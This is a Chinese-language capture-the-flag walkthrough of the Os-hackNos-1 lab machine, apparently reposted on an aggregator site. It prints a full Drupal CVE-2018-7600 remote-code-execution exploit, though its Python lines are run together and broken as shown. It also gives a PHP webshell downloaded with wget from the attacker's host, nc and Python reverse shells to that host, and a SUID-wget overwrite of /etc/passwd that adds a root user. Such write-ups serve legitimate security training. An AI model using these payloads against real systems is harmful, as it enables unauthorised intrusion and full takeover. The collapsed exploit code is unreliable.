Os-hackNos-1

Os-hackNos-1

一、主机发现和端口扫描

  • 主机发现

    arp-scan -l
    

    在这里插入图片描述

  • 端口扫描

    nmap -P 192.168.80.141
    

    在这里插入图片描述

二、信息收集

  • 访问80端口,可知目标是ubuntu系统,中间件是Apache

    在这里插入图片描述

  • 目录扫描,发现两个路径

    dirsearch -u http://192.168.80.141/ -e *
    

    在这里插入图片描述

  • index.html路径就是主页,接着访问/drupal

    在这里插入图片描述

  • 是一个Drupal搭建的CMS,继续进行路径扫描,有一个CHANGELOG.txt文档,可以看到版本为7.57

    dirsearch -u http://192.168.80.141/drupal -e *
    

    在这里插入图片描述

    在这里插入图片描述

三、漏洞挖掘

  • 根据版本号查询历史漏洞,发现存在CVE-2018-7600,直接使用该EXP

    https://github.com/pimps/CVE-2018-7600
    git clone https://github.com/pimps/CVE-2018-7600.git
    
    #!/usr/bin/env python3import requests
    import argparse
    from bs4 import BeautifulSoupdef get_args():parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),epilog= '''This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57by poisoning the recover password form (user/password) and triggering it withthe upload file via ajax (/file/ajax).''')parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")args = parser.parse_args()return argsdef pwn_target(target, function, command, proxy):requests.packages.urllib3.disable_warnings()proxies = {'http': proxy, 'https': proxy}print('[*] Poisoning a form and including it in cache.')get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)soup = BeautifulSoup(r.text, "html.parser")try:form = soup.find('form', {'id': 'user-pass'})form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')if form_build_id:print('[*] Poisoned form ID: ' + form_build_id)print('[*] Triggering exploit to execute: ' + command)get_params = {'q':'file/ajax/name/#value/' + form_build_id}post_params = {'form_build_id':form_build_id}r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)parsed_result = r.text.split('[{"command":"settings"')[0]print(parsed_result)except:print("ERROR: Something went wrong.")raisedef main():print ()print ('=============================================================================')print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')print ('|                              by pimps                                     |')print ('=============================================================================\n')args = get_args() # get the cl argspwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())if __name__ == '__main__':main()
    
  • 执行命令

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "whoami"
    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "pwd"
    

    在这里插入图片描述

四、连接webshell

  • 在本地编写一个webshell,并开启http服务

    <?php system($_POST['glc']);?>
    

    在这里插入图片描述

  • 将webshell下载到目标靶机的网站目录下

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/shell.php"
    

    在这里插入图片描述

    在这里插入图片描述

  • 测试webshell是否连接成功

    在这里插入图片描述

五、反弹shell

  • 目标服务器存在nc命令,使用nc反弹shell

    glc=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+192.168.80.139+8848+>/tmp/f
    

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 也可以使用python反弹shell

    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.139",8848));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    在这里插入图片描述

    在这里插入图片描述

六、二次信息收集

  • 发现一个alexander.txt文件,对其进行base64解码

    KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
    

    在这里插入图片描述

    +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
    ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
    ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
    >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
    ++.<
    
  • 使用的是Brainfuck加密,进行Brainfuck解密

    Brainfuck解密网站:https://www.splitbrain.org/services/ook解密结果james:Hacker@4514
    

    在这里插入图片描述

  • 尝试ssh连接,但是密码不对

    ssh james@192.168.80.141
    

    在这里插入图片描述

  • 在home中找到james和其目录下的user.txt

    在这里插入图片描述

七、权限提升

  • suid提权,需要搜索到带有s的文件,开始查找

    find / -perm -u=s -type f 2>/dev/null
    

    在这里插入图片描述

  • 发现wget具有suid权限,而且普通用户可以执行,那么可以通过下载目标靶机上的passwd文件,然后添加一个有root权限的用户到passwd文件中,然后使用wget -O将内容重定向到目标靶机的/etc/passwd中

    cat /etc/passwd
    

    在这里插入图片描述

  • 在kali中生成密码

    openssl passwd -1 -salt glc 123456$1$glc$kuZClTRBy.K2I/O4p9kSJ1
    

    在这里插入图片描述

  • 将密码添加到我们构造的passwd文件中,然后下载重定向到/etc/passwd

    glc:$1$glc$kuZClTRBy.K2I/O4p9kSJ1:0:0:root:/root:/bin/bashpython3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/passwd -O /etc/passwd"
    

    在这里插入图片描述

  • 切换到glc用户

    su glc
    

    在这里插入图片描述

  • 因为su命令必须在终端中执行,所以我们使用转换成python执行终端命令

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

    在这里插入图片描述

  • 结束

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/191408.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何实现用户未登录不可访问系统

在开发web系统时&#xff0c;如果用户不登录&#xff0c;发现用户也可以直接正常访问系统&#xff0c;这种设计本身并不合理&#xff0c;那么我们希望看到的效果是&#xff0c;只有用户登录成功之后才可以正常访问系统&#xff0c;如果没有登录则拒绝访问。那么我们可以使用过滤…

DPDK初始化

rte_eal_init │ ├──rte_cpu_is_supported&#xff1a;检查cpu是否支持 │ ├──rte_atomic32_test_and_set&#xff1a;操作静态局部变量run_once确保函数只执行一次 │ ├──pthread_self() 获取主线程的线程ID,只是用于打印 │ ├──eal_reset_internal_config&#x…

掌握未来技术趋势,Python编程引领人工智能时代

掌握未来技术趋势&#xff0c;Python编程引领人工智能时代 摘要&#xff1a;Python作为一种高级编程语言&#xff0c;在人工智能领域中扮演着越来越重要的角色。本文将通过介绍Python编程的特点、应用场景及发展前景&#xff0c;展望Python未来的发展趋势&#xff0c;并结合代…

数据结构 栈与队列详解!!

一.栈 关于内存中的栈和数据结构中的栈是不同的&#xff0c;本章着重讲的是数据结构的栈。 这是一张关于栈的表达图。从图中可以看出栈很像是一副卡牌&#xff0c;发牌时只能从上取出&#xff0c;即出栈。 而入栈则是像你出牌后&#xff0c;要把你出的牌压在上一张出的牌上面。…

Linux系统编程学习 NO.9——git、gdb

前言 本篇文章简单介绍了Linux操作系统中两个实用的开发工具git版本控制器和gdb调试器。 git 什么是git&#xff1f; git是一款开源的分布式版本控制软件。它不仅具有网络功能&#xff0c;还是服务端与客户端一体的软件。它可以高效的处理程序项目中的版本管理。它是Linux内…

Windows10下Maven3.9.5安装教程

文章目录 1.下载maven2.安装3.配置系统变量3.1.新建系统变量 MAVEN_HOME3.2.编辑系统变量Path 4.CMD命令测试是否安装成功5.配置maven本地仓库6.配置国内镜像仓库 1.下载maven 官网 https://maven.apache.org/download.cgi 点击下载。 2.安装 解压到指定目录 D:\installSoft…

Git企业开发级讲解(四)

&#x1f4d8;北尘_&#xff1a;个人主页 &#x1f30e;个人专栏:《Linux操作系统》《经典算法试题 》《C》 《数据结构与算法》 ☀️走在路上&#xff0c;不忘来时的初心 文章目录 一、理解分⽀二、创建分支三、切换分⽀四、合并分⽀五、删除分⽀六、合并冲突七、分⽀管理策略…

搭建mysql主从错误集合

1 mysqld --verbose --help --log-bin-index/tmp/tmp.Frnt2oibYI mysqld: Cant read dir of /etc/mysql/conf.d/ my.cnf是在/etc/mysql/conf.d/文件夹下&#xff0c;所以挂载的时候不要写/etc/mysql 2 COLLATION utf8_unicode_ci is not valid for CHARACTER SET latin1 配…

大数据研发工程师课前环境搭建

大数据研发工程师课前环境搭建 第一章 VMware Workstation 安装 在Windows的合适的目录来进行安装&#xff0c;如下图 1.1 双击打开 1.2 下一步&#xff0c;接受协议 1.3 选择安装位置 1.4 用户体验设置 1.5 快捷方式 已经准备好安装&#xff0c;点击安装 1.6 安装中 1.7 安装…

【算法每日一练]-图论(保姆级教程 篇5(LCA,最短路,分层图)) #LCA #最短路计数 #社交网络 #飞行路线 # 第二短路

今天讲最短路统计和分层图 目录 题目&#xff1a;LCA 思路&#xff1a; 题目&#xff1a;最短路计数 思路&#xff1a; 题目&#xff1a;社交网络 思路&#xff1a; 题目&#xff1a;飞行路线 思路&#xff1a; 题目&#xff1a;第二短路 思路&#xff1a; 题目&a…

轻量服务器和云服务器的区别,轻量应用服务器和云服务器区别对比

在云计算时代&#xff0c;服务器作为互联网应用的基础设施&#xff0c;扮演着重要的角色。对于个人用户、个人开发者、学生用户和个人站长来说&#xff0c;选择一款适合自己的服务器是一个关键的决策。本文将介绍轻量服务器和标准云服务器的优点和应用场景&#xff0c;帮助读者…

Confluence 快速安装教程

安装jdk yum install -y java-1.8.0-openjdk.x86_64 java -version 安装MySQL mkdir -p /data/mysql/data chmod 777 /data/mysql/datadocker rm -f mysql docker run -d --name mysql \-p 3306:3306 \-e MYSQL_ROOT_PASSWORDfingard1 \-v /data/mysql/data:/var/lib/mysql …